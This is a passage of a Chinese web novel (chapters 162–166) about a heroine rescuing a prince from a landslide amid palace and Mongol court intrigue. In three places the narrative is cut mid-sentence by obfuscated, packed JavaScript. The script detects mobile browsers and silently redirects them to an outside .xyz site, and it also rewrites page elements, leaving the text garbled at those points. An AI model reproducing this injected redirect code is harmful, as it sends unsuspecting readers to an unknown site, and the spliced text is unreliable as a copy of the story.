“澜宁郡主,您快回去吧,这里太危险了!”有护卫认出她,连忙劝道。 萧语柔置若罔闻,一边救治伤者,一边寻找岑陌的踪迹。她的衣服早已湿透,头发凌乱地贴在脸上,但她顾不上这些。 雨越下越大,天色渐暗,依然没有岑陌的消息。 “县主......”宓漠浑身是泥地走来,欲言又止。 萧语柔看着他的表情,心底一片冰凉。但她摇了摇头,继续在废墟中翻找。 因为那个别扭的男人曾在她耳边说过无数次:不要丢下我。 她不会放弃,只要没有找到人,她就一定要继续找下去。 雨水混合着泪水滑落,萧语柔的声音有些哽咽:“岑陌,你在哪里?” 第一百六十二章 见死不救 萧语柔的手指在淤泥中一寸寸翻找,指甲早已裂开,渗出的血迹混着泥浆,却浑然不觉疼痛。寒风呼啸,夜色渐深,她的衣裙早已被泥水浸透,但她顾不上这些。 她的脑海中只有一个念头——找到岑陌。 “县主,这边也找过了......”宓漠捂着脱臼的手臂,脸色苍白,汗水浸透了衣衫。 “闭嘴!”萧语柔厉声打断,手上的动作不停,“继续找!” 宓漠张了张嘴,最终只是默默低下头,继续在废墟中搜寻。 远处传来狼群的嚎叫,回荡在山谷间,令人毛骨悚然。大部分护卫已经撤离,只剩下萧语柔一行人还在执着地寻找。 紫薇踉跄着走到萧语柔身边道:“县主,这次的事......”她犹豫片刻,“是长公主。” 萧语柔的动作一顿。 “因为韶宏嬷嬷的事,王爷与长公主彻底**了。长公主这次是有意见死不救。”紫薇叹了口气道 萧语柔这才知道,原来岑陌曾将长公主的心腹制成人彘,以报城门羞辱之仇。 那是岑陌送她的定情信物,此刻却成了她最后的希望。 “你若不助我,我便毁了你。”萧语柔盯着玉璧,声音冰冷。 玉璧微微颤动,似乎感受到了主人的决心。下一刻,眼前的一大片淤泥凭空消失。 “县主!”阿莺惊呼。 “敢泄露者,死!”萧瑾立刻拔剑而立,冷冷扫视众人。 紫薇和阿莺对视一眼,默默站到萧瑾身旁。宓漠连忙跪地:“属下若泄露半字,天打雷劈!” 萧语柔面无表情地继续施法,脸色愈发苍白。玉璧的力量在消耗她的精血,但她顾不得这些。 一次又一次,淤泥消失,新的淤泥又堆积而来。她的双手已经麻木,但仍在机械地挖掘。 “县主,你先歇会儿......”阿莺心疼地劝道。 “不用。”萧语柔摇头,声音嘶哑,“我能感觉到,他就在附近。” 又是一阵狂风呼啸而过,卷起漫天尘土。萧语柔抬手挡住飞扬的尘埃,忽然看到不远处有个微弱的光点。 “那里!”她踉跄着冲过去。 随着玉璧的力量发动,一个狭小的山洞渐渐显露出来。 “救命!王爷在这里......”墨兰的声音从洞中传来。 萧语柔顾不得其他,直接冲了进去。昏暗的洞中,岑陌倚靠在石壁上,衣衫破损,浑身是伤。他的双手满是伤痕,显然也曾试图挖掘出路。 “殿下......”萧语柔刚要上前。 墨兰却抢先一步拦在她面前:“王爷为救奴婢受伤,你别碰他!”她的语气中带着几分炫耀。 萧语柔此刻已无暇计较这些。她只看到岑陌苍白的唇微动:“阿柔......” 下一刻,令人意想不到的一幕发生了。 昏迷中的岑陌突然伸手,掐住了墨兰的脖子:“是你骗本王,说阿柔与钱涛有染......” 墨兰瞪大眼睛,不相信岑陌会对她下手。她想辩解,却已经发不出声音。直到生机消逝,她仍不能相信。 岑陌将她扔到一旁,眼中仍带着戾气。直到萧语柔轻轻抱住他:“殿下,我们回家吧。” 此时他紧绷的身体才渐渐放松:“阿柔?” “是我,我们和好吧。”她的泪水滴在他的颈间。 岑陌将头靠在她肩上,轻声应道:“好。” 长公主府中。 “王爷没死?”微澜小心翼翼地问。 长公主漫不经心地拨弄着茶盏:“运气不错。”她的语气平淡,仿佛在说一件无关紧要的事。 “殿下要去看望吗?” “他该来看本宫才是。”玉郢不满道,“明明是他先......” 长公主冷冷瞥了他一眼:“滚。” 玉郢连滚带爬地退了出去,连头都不敢回。 微澜犹豫片刻:“殿下,要不要......” “退下吧。”长公主打断他的话,“岑陌的事,本宫自有计较。” 她端起茶盏,轻轻吹散水面的茶桂。窗外的月光洒进来,映照着她平静的面容。但那双眼中,却闪过一丝令人心惊的寒意。 褚王府。 萧语柔守在床前,看着昏睡的岑陌。他的伤势不重,但失血过多,需要静养。 “县主,你也该休息了。”紫薇端来一碗药,“你的精血损耗太多。” 萧语柔接过药碗,却没有喝。她看着岑陌苍白的面容,想起那些过往。 从初见时的针锋相对,到后来的互相扶持。他们之间有太多误会,也有太多无法言说的情愫。 “殿下为何不告诉我韶宏嬷嬷的事?”她轻声问。 床上的人没有回答,只是呼吸平稳。 萧语柔叹了口气,将药碗放到一旁。她握住岑陌的手,感受着他的温度。 这一次,她差点失去他。 想到这里,她的心又揪了起来。长公主不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642093|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会善罢甘休,这次的事只是个开始。但她已经下定决心,无论发生什么,都要守护好眼前这个人。 夜色渐深,府中一片寂静。只有远处传来几声犬吠,和着夜风,在这个不眠之夜里回荡。 萧语柔站在毡账外,凛冽的山风吹起她的衣袖。远处的山峦在暮色中若隐若现,空气中还弥漫着泥土和血腥的气息。她抬头望向天际,乌云密布,仿佛在酝酿新一轮的风暴。 脚步声由远及近,邬钧快步走来,铠甲上沾满了泥污。他的眼中满是焦急,声音也带着几分沙哑:“王爷伤势如何?” “重伤未愈,需要静养。锦阳军现在责任重大,你应当知道该怎么做。” 萧语柔转过身冷冷道。 邬钧的拳头攥得发白:“属下定当加强防卫,绝不让歹人有机可乘!这次的事......” 话未说完,他与迎面而来的微澜撞个正着。两人四目相对。 邬钧冷哼一声,大步离开。 微澜道:“长公主命奴才前来探望王爷。” “王爷刚刚入睡。”萧语柔淡淡道,心中翻涌着难以平息的怒意。虽然心知这场灾难必定与长公主有关,但没有实证,也只能将这口气暂且咽下。 “那奴才稍后再来。”微澜欠身,转身欲走。 “且慢。”萧语柔突然开口,声音清冷,“不知长公主可还安好?” 微澜回头,看着眼前这个神色冰冷的少女,嘴角的笑意不减:“长公主受了些惊吓,倒是无碍。” “是么?”萧语柔扯了扯嘴角,眼中闪过一丝讥讽,“长公主果真福泽深厚,不像那些命薄之人,听说已有七八十条人命丧生了。” 微澜眉头微皱,脸上的笑容有些僵硬。还未等他开口,萧语柔已转身进了毡账,留下一个清冷的背影。 账内,宓漠正在整理药材,见萧语柔进来,欲言又止:“县主,您是怀疑......” 萧语柔走到窗边,看向外面阴沉的天色,声音低沉:“你可还记得山崩前的声响?” “是雷声吧?”宓漠放下手中的药材,走到萧语柔身边。 “仔细想想,到底是先有雨,还是先有响?”萧语柔的目光落在远处的山峦上。 宓漠愣住了,脸色逐渐变得苍白。 确实,是先下了雨,才传来轰隆巨响。这个顺序,本就不合常理。 “可是......”宓漠迟疑道,声音微微发颤,“要在那么大的山上动手脚,谁能掌握得如此精准?” 第一百六十三章 自尽 萧语柔没有说话,只是静静地望着窗外。最近天一直下个不停,山石松动,只要在温泉行结束前等到一场大雨,在任何地方埋下**都能引发灾祸。 至于真相,自有玉麟卫和鞑靼王庭去查。她现在最关心的,是岑陌的伤势。 夜色渐深,毡账内只剩下烛火摇曳。萧语柔守在岑陌床前,听着他均匀的呼吸声。连日来的疲惫终于涌上来,她支撑不住,趴在桌上睡去。 岑陌睁开眼睛,目光落在萧语柔的身上。他微微抬手,示意暗处的侍卫噤声。 他取下腰间的金镯递过去:“去见太后。” 待侍卫离开,岑陌望向熟睡的萧语柔,眼中的寒光渐渐收敛。这一次的教训,已经足够了。有些人,是时候该离开了。 深夜,太后正准备就寝,听闻长公主府上的探子求见,不禁蹙眉。烛光下,她的面容显得格外疲惫。 “奴才王炫叩见太后。”跪在地上的男子低垂着头。 “深夜来访,所为何事?”太后的声音透着几分不悦。 王炫从怀中取出一个布包,小心翼翼地呈上:“请太后过目。” 布包里是一幅拼接起来的画卷,画卷一角题着诗句:明朝游上苑,火速报春知。花须连夜发,莫待晓风吹。 若是寻常人写下这般狂妄之语也就罢了,偏偏这是前朝女帝的诗句。其中逆天改命之意,昭然若揭。 “是谁让你送来的?”太后紧握画卷,声音微微发颤。 “无人指使,若太后不信,小的情愿以死报答。”话音未落,王炫已咬破藏在牙齿中的毒囊,倒地身亡。 “太后,此事还需从长计议。”梨兰嬷嬷急忙上前搀扶摇摇欲坠的太后。 太后神色凝重,踉跄着走向内室。她最讨厌碰到这种情况,终究还是发生了。 数日后,岑陌的伤势稍有好转。皇帝和太后亲自前来探望,气氛看似和睦,实则暗流涌动。 “西北九州如何?”岑陌开口道,声音虽然虚弱,但眼神坚定。 皇帝眉头微挑,语气中带着试探:“西北民风彪悍,战事不断,不如江南更适合你。” “二皇兄已在江南,儿臣不便与他争功。”岑陌的语气平静,却透着不容置疑。 皇帝沉吟片刻,目光在岑陌脸上停留:“也罢,西北九州便赐予你吧。” “那锦阳军......” “锦阳军留守炎阳,不会调动。”岑陌斩钉截铁道,眼中闪过一丝锐利。 太后这时开口,声音温和却带着不容抗拒:“说起封地,懿安的封地也该去住上一阵了。” 皇帝点头应允,仿佛这只是一个再普通不过的决定。 当日午后,长公主便收到旨意,命她直接前往封地,不必回京。这道旨意来得突然,却在意料之中。 萧语柔站在营帐外,看着远处忙碌的身影。天空依旧阴沉,但风已经停了。她知道,这场风暴才刚刚开始。 “这小子现在翅膀真硬气!”长公主的声音里带着刺骨的寒意。 窗外的雨丝绵密,打在琉璃瓦上发出细碎的响声。 “本宫真是瞎了眼,一手调教出这匹野马,如今倒要反咬本宫一口。” 微澜跪在地上,额头几乎贴着地面。雨水从他的发梢滴落,在青石地板上洇开一片深色的水痕:“殿下,此事或许另有隐情。王炫失踪了,这其中...” “你还在替他说话。”长公主打断了他的话,轻轻啜了一口茶。白色的雾气在她面前缭绕,让她的面容显得愈发缥缈,“微澜啊微澜,你当真是个重情重义的。可惜,这世上的人心,不是靠重情重义就能换来的。” 微澜沉默不语。他能感受到长公主此刻平静外表下涌动的怒火。案几上的烛火忽明忽暗,映照着长公主苍白的面容。 “殿下,王爷从小便在您膝下长大,他一向最是听您的话。”微澜的声音有些嘶哑,“这些年来,他对您的孝心,您是看在眼里的。” 公主殿下缓缓起身,缓步走到香炉前。她将手中的热茶倒入香炉,看着那一点火光在水汽中挣扎着熄灭:“本宫要杀他。” 她的声音轻得像一片羽毛,却重重地砸在微澜心上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649776|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。屋内的温度仿佛骤然降低,连呼吸都变得困难起来。 “这只小狼崽子,留不得了。”长公主转过身,目光落在案几上的一封密信上,“让他在外面逍遥快活,本宫睡不着。” 微澜的手指深深陷入掌心:“殿下...” “退下吧。”长公主挥了挥手,“本宫累了。” 微澜缓缓起身,向后退去。他的背影在烛光中显得格外萧索。 另一边,萧语柔终于确认岑陌已无大碍,这才回到自己的毡账。夜色已深,营地里只剩下零星的篝火在闪烁。 “县主,珈洛公主在那场灾难中失踪了。”紫薇的声音里带着几分担忧。 萧语柔的手指微微一颤。她想起与珈洛最后一面时的情形,那个倔强的姑娘眼中闪烁的光芒,会不会是趁乱逃走了? “我知道了。”她轻声说道,目光望向远处起伏的草原。夜风吹过,带来青草的清香。 “县主,晏公子来访。”宓漠的声音适时响起,打断了她的思绪。 晏澜走进来时,萧语柔不禁皱眉。几日不见,这位表哥的手上满是伤痕,皮肤也黑了许多。他的眼中带着疲惫,衣衫也不似往日那般整洁。 “大表哥这是...” “来赔罪的。”晏澜的声音低沉,眉头紧锁。他站在毡账中央,身形略显局促,“那天的事,是我考虑不周。” 萧语柔摇头笑道:“你做得对,我也不愿意用你去换王爷。无论是你还是王爷,在我心里都是无价之宝。”她的声音柔和,带着几分真诚。 晏澜眼中闪过一丝光亮,却又很快暗淡下去。他低头看着自己粗糙的双手:“可最后还是你们找到了王爷。我什么忙都没帮上。” “人不是神仙,哪能事事都算计周全?”萧语柔认真地看着他,“与其纠结过错,不如想着如何弥补。况且,这次的事情,谁也说不清对错。” 晏澜沉默片刻,忽然别扭地喊了声:“五妹妹。” 萧语柔心头一暖:“大表哥。” 夜色渐深,营地里的篝火一个接一个熄灭。 第一百六十四章 拜访 晏澜离开不久,钱氏兄弟又来拜访。 钱忠一进门就开始道歉,语速飞快:“县主,那天的事情,我们...” 萧语柔却觉得好笑:“怎么今天都爱往自己身上揽责任?这可不像你们的性子。” 钱涛始终沉默地坐着,目光复杂地看着萧语柔。月光从毡账顶部的缝隙中漏下来,在地上投下斑驳的光影。直到他忍不住咳出血来,这才匆匆告辞。 “大哥!”钱忠追了出去,声音里带着焦急。 钱涛站在夜色中,苦笑着摇头。他终于明白了,在萧语柔心里,岑陌的分量有多重。为了那个人,她可以不顾性命。而他,连一个可以分担忧愁的朋友都算不上。 夜风吹过,带起他的衣袂。远处传来马匹的嘶鸣声,似乎也在诉说着什么。 与此同时,鞑靼王庭也不太平。 可汗的大帐内,灯火通明。他来回踱步,脸上的焦虑清晰可见:“珈洛还是没有消息吗?” 侍卫低着头:“回可汗的话,还是没有。” 可汗看着心不在焉的长子星阳那,更是怒不可遏:“你这个做哥哥的,怎么连自己的妹妹都看不住!” 星阳那垂着头,不发一言。他的手指无意识地摩挲着腰间的金镯,眼神飘忽。 阿琳洛公主看着这一切,默默起身:“父汗,女儿想去拜访一下澜宁郡主。” “你去做什么?”可汗皱眉。 “珈洛与她交好,或许能打听到些什么。”阿琳洛的声音平静,眼中却闪过一丝锐利的光芒。 当她走进萧语柔的毡账时,目光犀利如鹰:“澜宁郡主,珈洛常提起你,把你当闺蜜铁子。” 萧语柔心中一凛,却面色如常地请阿琳洛入座。 “有趣的是,”阿琳洛轻笑一声,手指轻轻敲击着茶盏,“珈洛的侍女说她被埋在淤泥下,可那个她喜欢的男人也不见了。那天他带走了两匹马,连钱财都带得少得可怜。” 萧语柔沉默不语。她知道,珈洛虽然没有出卖她,可这憨憨妹子,偏偏有个太过精明的姐姐。 阿琳洛站起身,走到萧语柔面前:“县主,你说,这是不是很有意思?” 萧语柔抬头与她对视:“公主想说什么?” “我只是在想,”阿琳洛的声音带着几分玩味,“如果父汗知道珈洛是被人带走的,会不会派兵去追?” 萧语柔的手指微微收紧,却依旧保持着平静:“公主说笑了,珈洛公主若是被人带走,想必早就有消息传来了。” 阿琳洛意味深长地看了她一眼:“但愿如此。” 夜色更深了,营地里一片寂静。萧语柔站在毡账外,望着满天繁星。远处的草原上,一轮明月悬挂在天际,洒下清冷的光芒。 萧语柔站在毡账外,望着远处连绵的山脉,秋风吹拂着她的衣袖。远处的天际线与草原相接,勾勒出一幅壮阔的画卷。 这段时日以来的种种变故在脑海中翻涌。珈洛公主的出走,让整个蒙古营地陷入一片低气压。所幸可汗似乎沉浸在失去女儿的悲伤中,倒是让她暂时松了口气。至少阿琳洛没有追究珈洛离开的责任。 营地里传来阵阵喧闹声,几个蒙古士兵正在练习摔跤。他们赤裸着上身,肌肉虬结,在秋日的阳光下闪着古铜色的光泽。远处,一群牧民正在赶着羊群归来,羊群发出此起彼伏的叫声。 “你在想什么?” 一个熟悉的声音突然在身后响起,萧语柔转身,看到阿琳洛正含着意味深长的笑容看着她。阿琳洛今天穿了一件深红色的长袍,更衬得她肤色白皙,眼神中带着几分慵懒与妩媚。 “珈洛不会走太远的。”阿琳洛走到她身边,目光投向远方,语气中带着几分笃定,“那个男人给不了她想要的生活,最多一个月,她就会回来。” “为什么这么说?”萧语柔轻声问道。 “因为她从小娇生惯养,怎么可能受得了牧民的苦日子。”阿琳洛轻笑一声,眼中闪过一丝不屑,“说不定连饭都吃不饱。你看看那些牧民的帐篷,哪里比得上王府的一间厢房?” 萧语柔沉默片刻道:“有人觉得温饱重要,有人觉得自由可贵。” “自由?”阿琳洛挑眉,“她以为跟着一个男人就是自由了?真是天真。” 萧语柔听出她话中有话,不由得多看了她一眼。 “这世上的男人,不是像我父汗那样只顾权势的野心家,就是星阳那那样只知酒色的蠢货,再不然就是星阑那样的懦夫。”阿琳轻蔑道。 一阵冷风吹过,带起阿琳洛的发丝。她转头看向萧语柔,目光灼灼:“就连我丈夫,也不过是个庸碌之辈。你知道吗?”她突然压低声音,“我养的那几个娃,每个都有不同的父亲。” 萧语柔愣住了,一时不知该如何接话。她看着阿琳洛的眼睛,试图从中找出玩笑的痕迹,却只看到一片坦然。 阿琳洛看她表情,忍不住笑出声:“在你们大晋人眼里,我是不是很放荡?”笑声中带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649777|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着几分挑衅的意味。 “男人可以三妻四妾,为啥咱们女人不行?”萧语柔反问,声音平静。 这回轮到阿琳洛惊讶了。她大笑起来,笑声中带着几分野性的魅惑,回荡在草原的风中。远处的护卫们不由得回头看了几眼。 阿琳洛眼中闪过一丝赞赏:“有意思,难怪连岑陌那样的人都对你另眼相看。” “对了,”阿琳洛突然眨眨眼,语气变得暧昧起来,“听说那个叫晏澜的侍卫是你哥哥,他对混血娃儿有好感不?” 萧语柔瞪大眼睛,一时语塞。阿琳洛的话让她想起了之前在温泉时的那一幕,不由得面颊微红。 阿琳洛笑着转身离开,长袍在风中飘扬:“放心在这玩吧,保你以后平安无事。” 她刚走,萧瑾就悄无声息地出现在萧语柔身边:“四名蒙古侍卫已经就位。”他的声音低沉,带着几分警惕。 话音未落,阿莺急匆匆跑来,脸上带着几分慌乱:“县主,不好了!王爷手下把蒙古守卫给撵跑了,换成王府的人了。王爷还说,让县主别太得意。” 萧语柔捂住脸,心中一阵烦躁。难道刚才的对话又被岑陌听去了?想到这里,她不由得感到一阵头疼。 “对了,”阿莺犹豫了一下,又补充道,“宁夫人也来了。” 听到这个消息,萧语柔当即缩回毡账,一整天都没敢出门。她躺在毡毯上,听着外面的风声,思绪纷乱。 夜深人静时,她收到了郗澜的信。信纸上的字迹有些潦草,似乎是匆忙写就。 信中说,梨竹已经开始为东城分店培训新人,一切进展顺利。长公主府地下室发现了几个奄奄一息的下人,但还未问出什么有价值的信息。至于杨贵妃的事,已经有了眉目,等她回京再详细说明。 最后提到,桂辰在府中自尽,虽被救回,但整日把自己关在房里,不见任何人。 想到桂辰,萧语柔叹了口气。她记得那个总是带着温和笑容的少年,没想到会走到这一步。将信纸点燃烧掉时,她看着火焰吞噬纸张,心中百感交集。 接下来几天,蒙古可汗不敢再组织狩猎或泡温泉这样的活动,改在营地举办篝火宴会。摔跤比武、骑马奔腾、弯弓搭箭,歌舞不断,烤羊的香气飘荡在整个营地上空。 萧语柔坐在篝火旁,看着蒙古人载歌载舞。火光映照在他们脸上,勾勒出欢快的笑容。可她总觉得这欢乐中带着几分刻意,似乎每个人都在努力驱散珈洛出走带来的阴霾。 第一百六十五章 阿琳洛的赞赏 在严密防守下,这场会晤总算平安度过。期间虽有北陲蛮族来犯,但被赵王、北陲守将和蒙古战士联手击退。战斗的号角声惊醒了营地的宁静,却也让两国的关系更加紧密。 两个月时光悄然流逝,秋意渐深。草原上的草开始泛黄,晨露越发寒冷。营地里的人们开始收拾行装,准备返程。 临行前夜,太后终于召见了萧语柔。 毡账内,太后坐在软榻上,身边放着一盏青铜香炉。袅袅的檀香在空气中缭绕,让人心神宁静。 “听闻小极的病一直是你在照看?”太后温和地问,目光慈祥地看着萧语柔。 萧语柔心里一紧,手指不自觉地绞在一起:“王爷的腿本来好转了,但这次...”她顿了顿,“妾身也拿不准主意。” “治不好也没事儿,”太后轻拍她的手,声音柔和,“福兮祸所伏,祸兮福所倚,你们都是有福之人。” 萧语柔低头不语,明白太后的言外之意。她看着案几上的茶盏,水面倒映出她略显苍白的脸色。 夜色渐深,营地渐渐安静下来。远处传来几声狼嚎,在寂静的夜空中显得格外清晰。萧语柔站在毡账外,抬头望着满天繁星,心中思绪万千。 明天就要启程回京了,这段在草原上的日子,恍如一场梦。她不知道回京后等待她的会是什么,但她知道,很多事情已经不似从前一般了。 “大公主。”萧语柔轻声唤道。 “该叫长姐了!走吧,领你面见大王。”阿琳洛道。 月色朦胧,营地里火把通明。萧语柔心里打鼓,这个时辰去见蒙古可汗,总觉得阿琳洛别有用心。她犹豫着开口:“这么晚......” “晚了更好。”阿琳洛眨了眨眼,神秘兮兮地凑近,“父汗这个时候最好说话。再说了,你不想快点摆脱那些闲言碎语吗?” 萧语柔咬了咬唇。确实,自从她住进岑陌的营帐,就没消停过。那些流言蜚语像跗骨之蛆,让她寝食难安。 蒙古王帐内,灯火通明。铜制的烛台上,火焰跳动,在帐篷顶部投下摇曳的影子。行过几礼后,萧语柔获赐一把镶嵌宝石的匕首,还有一个蒙古名字——玥裳。 “从今往后,你就是咱们草原的小郡主了。”阿琳洛不顾可汗脸色难看,拉着萧语柔就往外走。她的动作看似随意,实则带着几分刻意的保护。 走出王帐,萧语柔忍不住问:“其他贵族会同意吗?” “有什么不同意的?”阿琳洛满不在乎地说,“父汗还有好几个公主王子呢。再说了,你现在是岑陌的人,谁敢说个不字?” 这事来得突然,却是板上钉钉。当晚,鞑靼王庭就送来几箱金银珠宝,绫罗绸缎堆满了整个帐篷。两个便宜哥哥星阳那和星阑也来拜访。 星阳那身材高大,却面色发黄,眼窝深陷,一看就是肾亏。他的目光阴鸷,不时打量着帐篷里的陈设。星阑年纪不大,约莫与珈洛相仿,一双黑眼睛不时偷瞄萧语柔,像是对这个突然多出来的妹妹充满好奇。 正当几人寒暄时,帐帘被人掀开。萧瑾大步走了进来,他身上还带着练武的汗气。 空气在瞬间凝固。萧瑾与星阳那四目相对的刹那,两人的表情都变了。萧瑾脸色骤变,手已经按在了剑柄上。若不是萧语柔及时喊住,他怕是已经拔剑。 “这位,好像我以前见过的一个奴隶。”星阳那冷笑着打量萧瑾,目光中带着赤裸裸的挑衅,“没想到那贱奴杀了我的手下跑路了。玥裳妹妹,他是谁啊?” 萧语柔看着萧瑾颤抖的双手,心中一紧。她强压下心中的不安,笑着上前,挡在两人之间:“大王子喝酒了?鹿血酒可不能贪杯,小心着了风寒。”她的声音轻柔,却带着不容忽视的警告。 “玥裳妹妹这么关心我?”星阳那眯起眼睛,语气里带着几分轻佻。 “自然,我们现在是兄妹。”萧语柔意有所指,目光在他苍白的脸色上停留,“若你在这里出了事,我如何向父汗交代?” 星阳那脸色一沉。 “星阳那,该回去了。”阿琳洛冷哼一声,语气里带着讥讽,“喝了鹿血酒不去生孩子,岂不可惜?哦,我忘了,你根本不近女色,怎么生得出孩子。” 星阳那阴沉着脸,狠狠瞪了萧语柔和萧瑾一眼,转身离去。他的背影带着几分狼狈,却掩饰不住那股子阴狠。 “别怕。有你们主子坐镇,星阳那那废物敢动手,正好给王爷送个由头,镇压西北封地。”阿琳洛拍拍萧语柔的肩。 待阿琳洛带着星阑离开,萧瑾也要走。 “萧瑾!”萧语柔叫住他,“跟我去拜见主上。” 萧瑾红着眼眶,像是要哭,却倔强地咬着唇不说话。他的手还在微微发抖,显然星阳那的出现勾起了他不愿回想的记忆。 “放心,不是要告发你。”萧语柔柔声说,“但星阳那毕竟是储君,若他出事,没人敢承担这后果。我们得想个万全之策。” 岑陌的营帐里,早已备好座位。不仅如此,连萧瑾爱吃的杏仁酥都准备妥当。显然,他早就料到会有这一出。 萧瑾坐在一旁,默默吃着点心。这一幕让萧语柔不禁思索,自己是否也曾这般轻易被岑陌收买人心。那些精心准备的小心思,那些若有若无的关怀,都是他的手段吗? “阿柔有话要说?”岑陌含笑看她,目光温柔得能滴出水来。 萧语柔收回思绪,将星阳那的事说了。她的声音很轻,生怕惊动了帐外的耳目。 “他的命暂时还有用。”岑陌看向萧瑾,眼中闪过一丝算计,“不过,我可以先替你讨些利息。西北的封地,本就该换个主人了。” 萧瑾感激的点点头,对岑陌的好感又增几分。 待萧瑾离开,萧语柔试探的问道:“王爷早知道萧瑾的身份? 岑陌眼带笑意,伸手抚上她的脸,“阿柔先回答我。”“阿柔想要多个相公?” 萧语柔一噎:“在王爷眼里,我就这般轻浮?”她想躲开,却被岑陌拉入怀中。 许久,萧语柔一边用凉水敷着红肿的唇,一边听岑陌解释萧瑾的来历。原来萧瑾是岑陌师父的关门弟子,难怪武功如此了得。这些年来,岑陌一直在暗中关照他。 “王爷可知巫山先生?”萧语柔突然问道。 “他与谭北是同门,却势同水火。”岑陌道,“他精通易经,占卜无双,多年不出山了。听说他在等一个时机。” 萧语柔心中一凛。这些看似无关的人物,竟都暗中相连。她不由得担忧起来,这盘棋究竟有多大?她又在其中扮演着什么角色? “别怕。”岑陌握住她的手,温暖传来,“天塌下来,有那大块头撑着。” 萧语柔忍俊不禁,心中阴霾顿消。她靠在岑陌怀里,听着他的心跳,突然觉得,或许这就够了。 夜已深,营地渐渐安静下来。远处传来马匹的嘶鸣,混着士兵换岗的脚步声。萧语柔站在帐外,望着满天繁星,心中五味杂陈。 她知道,从今天起,她就不再是单纯的萧语柔了。玥裳这个名字,会带给她新的身份和新的责任,也可能带来新的危险。但只要有岑陌在,可能这些也没那么可怕了。 第一百六十六章 算账 寒夜,一盆冰水兜头泼下。 星阳那猛地从温暖的被窝中惊醒,寒意瞬间侵袭全身。他下意识抓紧了身上的锦被,怒火直冲脑门:“谁敢如此放肆!” 帐外传来一阵窸窣的脚步声,随即帘子被掀开,寒风裹挟着雪花涌入。一个身着黑衣的侍从站在门口,面容被火把的阴影切割得明暗不定。 “大王子,可汗请您即刻前往。” 这声音让星阳那心头一紧,是父汗身边最得宠的侍从阿翊。往日这人见了他总是毕恭毕敬,今日却带着几分轻蔑。 “深更半夜,出什么事了?”星阳那强压下心中不安。 阿翊的目光在他身旁熟睡的美貌男子身上停留片刻,嘴角勾起一抹讥诮:“去了自然知晓。” 星阳那注意到他眼中的不屑,心下更加不安。能让父汗用这种方式叫他,必然不是什么好事。他披上狐裘,快步走出营帐。 寒风呼啸,积雪在月光下泛着幽幽的冷光。营地里一片寂静,只有零星的火把在黑暗中摇曳。星阳那跟着阿翊穿过几个帐篷,远远就看见可汗的王帐灯火通明。 来到王帐前,星阳那犹豫片刻。帐内忽然传出一声暴喝:“还不滚进来!” 掀开帐帘的瞬间,温暖的气流扑面而来。星阳那第一眼就看到了坐在轮椅上的岑陌。那人只是淡淡瞥来一眼,他就感到一阵寒意袭来,仿佛置身冰窟。 岑陌生得极美,比他收集的任何男宠都要出众。但那双眼睛里透着的邪气,让人不寒而栗。更别提他对敌时那血腥残暴的手段,简直令人闻风丧胆。 帐内还站着几个大晋的侍卫,个个面色冷峻。父汗坐在主位上,面沉如水。 “父汗,您别听他胡说,儿子什么都没做!”星阳那急忙辩解。 “你可知宁王说了什么?”可汗怒极反笑,手指节捏得发白。 星阳那看向岑陌,后者只是慵懒地靠在轮椅上,纤长的手指有一下没一下地敲击着扶手,连个眼神都懒得给他。 “宁王必是误会了,以为是儿子劫走了他的侍卫。但儿子今日除了去见玥裳,几乎足不出户,父汗可以查证。”星阳那强作镇定。 岑陌忽然开口,声音温和中带着几分危险:“一个侍卫本不足挂齿,只是这个侍卫恰好知晓西北九州的军事布防。” 星阳那脸色大变,额头渗出冷汗:“军队调度部署?阿桐不过是个奴隶...” “王子怎知本王丢失的侍卫叫阿桐?”岑陌唇角勾起一抹冷笑,眼中闪过一丝玩味。 星阳那这才意识到中了圈套,脸色铁青:“你在算计我!” “我大晋行事作风,讲究证据。”岑陌的声音愈发温和,“就如皇祖母来蒙古后屡遭刺杀,无凭无据,我们也不会轻易指责。” 可汗猛地起身,一巴掌扇在星阳那脸上。清脆的响声在帐内回荡,星阳那踉跄几步,嘴角渗出血丝。 “宁王放心,只要人还在王庭,必定给你找出来。”可汗咬牙切齿。 “既是误会一场,军机密册外泄之事,本王也就不再追究。”岑陌说得轻描淡写,眼底却闪过一丝算计。 可汗心知这是敲诈,却不得不捏着鼻子认下。他深吸一口气:“王爷的损失,蒙古自当补偿。不如让我们挑选一支铁骑赠予王爷?” “父汗!”星阳那急道,那可是他们最精锐的骑兵。 又是一记响亮的耳光。 岑陌看着这对父子,修长的手指轻叩椅边,眼中闪过一丝讥讽:“星阳那王子以为如何?” “他自然没有异议。”可汗抢先道,眼神警告着星阳那,“星阳那新得的好马,也一并送与王爷。” 